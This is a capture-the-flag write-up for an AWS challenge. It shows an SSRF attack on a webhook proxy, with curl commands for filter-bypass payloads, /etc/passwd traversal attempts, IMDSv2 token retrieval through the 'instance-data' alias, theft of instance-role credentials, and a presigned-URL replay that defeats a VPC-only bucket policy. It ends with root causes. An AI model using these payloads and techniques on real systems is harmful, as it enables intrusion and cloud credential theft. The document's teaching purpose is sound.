> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/ctf/fam-ctf/the-cloud-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# The Cloud writeup

The target exposed a webhook endpoint (`/internal/webhook`) intended as an internal-only proxy that blocked direct requests to private and link-local IP ranges. Its blocklist checked resolved IPs but missed the legacy EC2-internal DNS alias `instance-data`, which still resolves to the IMDS service.

Because the webhook transparently forwarded HTTP methods and headers, it was possible to complete the full IMDSv2 token handshake (`PUT` for a token, then `GET` with that token) through the SSRF and retrieve the EC2 instance role's temporary AWS credentials.

Those credentials could list the target S3 bucket but could not read objects directly because a bucket policy restricted `GetObject` to requests originating inside the VPC. Generating a SigV4 presigned URL locally and replaying it *through the same SSRF* caused the EC2 instance to issue the final `GET`, satisfying the VPC-source condition and returning the flag.

**Flag:** `FAM{cl0ud_ssrf_imds_aacb179e691f}`

## Poking at the app

Started by hitting the root page:

```bash
curl http://13.206.97.85/
```

This returned a dashboard HTML page listing API routes:

* `/status`
* `/metrics/system`
* `/metrics/config`
* `/metrics/endpoints`
* POST-only `/internal/webhook`

Walked through them one at a time.

```bash
curl http://13.206.97.85/status | jq
```

Just health/version information.

```bash
curl http://13.206.97.85/metrics/system | jq
```

This leaked the box's internal hostname:

```
ip-10-20-1-112.ap-south-1.compute.internal
```

```bash
curl http://13.206.97.85/metrics/config | jq
```

This dumped a config blob including:

```json
"identity": {
  "imds": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "note": "credentials scoped to storage prefix only",
  "provider": "ec2-instance-metadata"
},
"storage": {
  "backend": "s3",
  "bucket": "fam-ctf-cloud-challenge",
  "note": "bucket access restricted to requests originating from within vpc",
  "prefix": "players/2301"
}
```

The goal became clear: reach IMDS, retrieve credentials, and use them on that bucket.

```bash
curl http://13.206.97.85/metrics/endpoints | jq
```

This confirmed the route list and showed that `/internal/webhook` accepts `GET`, `POST`, and `PUT`, which mattered later.

```bash
curl http://13.206.97.85/internal/webhook | jq
```

Calling it with no parameters returned documentation:

```json
{"note": "Only internal AWS endpoints are permitted (169.254.x.x, *.amazonaws.com)",
 "usage": "POST /internal/webhook?url=<target>"}
```

## Fighting the filter

```bash
curl 'http://13.206.97.85/internal/webhook?url=http://192.168.29.189/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://localhost/' | jq
```

All three returned:

```json
{"error": "Direct access to internal IP ranges is not allowed.",
 "hint": "Try harder. The instance has a name."}
```

Even the IMDS IP was blocked. Tried standard SSRF bypass techniques:

```bash
curl 'http://13.206.97.85/internal/webhook?url=http://169.254.169.254.nip.io/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://2852039166/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://0xa9fea9fe/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/' | jq
curl 'http://13.206.97.85/internal/webhook?url=http://ip-10-20-1-112.ap-south-1.compute.internal/' | jq
```

All were blocked with the same error. This indicated that the filter was resolving DNS and checking the resulting IP against a private/link-local blocklist.

Also tested traversal on the static route:

```bash
curl -m 10 'http://13.206.97.85/static/..%2f..%2f..%2f..%2fetc%2fpasswd'
curl -m 10 'http://13.206.97.85/static/....//....//....//....//etc/passwd'
curl -m 10 --path-as-is 'http://13.206.97.85/static/../../../../etc/passwd'
```

All returned 404s.

Tried the public S3 endpoint because `*.amazonaws.com` was supposedly allowed:

```bash
curl -m 20 'http://13.206.97.85/internal/webhook?url=http://fam-ctf-cloud-challenge.s3.amazonaws.com/' | jq
```

It passed validation but hung and timed out, indicating the instance had no route to the public internet.

## The actual bypass

The hint said: *“the instance has a name.”*

The standard internal hostname was blocked because it resolves to a private IP, but EC2 also provides the legacy metadata-service alias `instance-data`:

```bash
curl -m 15 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/' | jq
```

This reached IMDS:

```json
{"status": 401, "url": "http://instance-data/latest/meta-data/iam/security-credentials/"}
```

The metadata root behaved the same way:

```bash
curl -m 15 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/meta-data/' | jq
```

The `401` indicated IMDSv2 enforcement, requiring a token obtained with a `PUT` request to `/latest/api/token`.

Tested whether the webhook forwarded a custom HTTP method and header:

```bash
curl -m 15 -X POST 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' | jq
```

This returned `405`, confirming the webhook passed the method through. Switched to `PUT`:

```bash
curl -m 15 -X PUT 'http://13.206.97.85/internal/webhook?url=http://instance-data/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' | jq
```

This returned a token:

```json
{"status": 200, "body": "AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ=="}
```

Used the token to retrieve the role name:

```bash
curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
  --data-urlencode 'url=http://instance-data/latest/meta-data/iam/security-credentials/' \
  -H 'X-aws-ec2-metadata-token: AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ==' | jq
```

This returned:

```
ctf-cloud-player-2301
```

Retrieved the credentials:

```bash
curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
  --data-urlencode 'url=http://instance-data/latest/meta-data/iam/security-credentials/ctf-cloud-player-2301' \
  -H 'X-aws-ec2-metadata-token: AQAAAMft4YTFVSpJ4uDA9Miu6kmU0Eq-YJ8GPrCn8npLivoJfbELfQ==' | jq
```

This returned temporary AWS credentials including `AccessKeyId`, `SecretAccessKey`, and a session `Token`.

## Using the stolen creds

Exported the credentials and confirmed identity:

```bash
export AWS_ACCESS_KEY_ID="ASIAYLZKVQD4NQMHDXAX"
export AWS_SECRET_ACCESS_KEY="VvZ1mpWVdZYY0FCK50Vkgi7eC8UJYi3bvNhbs3t9"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEP3//////////wEaCmFwLXNvdXRoLTE..."
export AWS_DEFAULT_REGION="ap-south-1"

aws sts get-caller-identity
```

The identity was:

```
assumed-role/ctf-cloud-player-2301/i-04c1f26c2a1c61a25
```

Listed the bucket:

```bash
aws s3 ls s3://fam-ctf-cloud-challenge/players/2301/ --recursive
```

Found:

```
players/2301/flag.txt
```

Reading it directly was blocked:

```bash
aws s3 cp s3://fam-ctf-cloud-challenge/players/2301/flag.txt -
```

```
An error occurred (403) when calling the HeadObject operation: Forbidden
```

Tried the lower-level API:

```bash
aws s3api get-object --bucket fam-ctf-cloud-challenge --key players/2301/flag.txt flag.txt
```

```
AccessDenied ... with an explicit deny in a resource-based policy
```

This matched the bucket restriction requiring `GetObject` requests to originate inside the VPC.

## Getting past the VPC restriction

Generated a SigV4 presigned URL locally:

```bash
aws s3 presign s3://fam-ctf-cloud-challenge/players/2301/flag.txt --expires-in 300
```

Then replayed the entire presigned URL through the SSRF webhook so the EC2 instance itself issued the request:

```bash
curl -m 15 -G 'http://13.206.97.85/internal/webhook' \
  --data-urlencode 'url=https://fam-ctf-cloud-challenge.s3.ap-south-1.amazonaws.com/players/2301/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=...&X-Amz-Signature=...' | jq
```

This returned status `200` and the flag:

```
FAM{cl0ud_ssrf_imds_aacb179e691f}
```

## Root causes

* The webhook fetched attacker-controlled URLs server-side, creating an SSRF primitive.
* The IP-range blocklist checked resolved DNS but missed the legacy `instance-data` alias for the metadata service.
* IMDSv2 did not prevent exploitation because the SSRF proxy forwarded HTTP methods and headers, enabling the token-then-fetch flow.
* The S3 bucket policy checked the physical source of the request, and the SSRF allowed the attacker to originate the final request from inside the trusted VPC boundary.
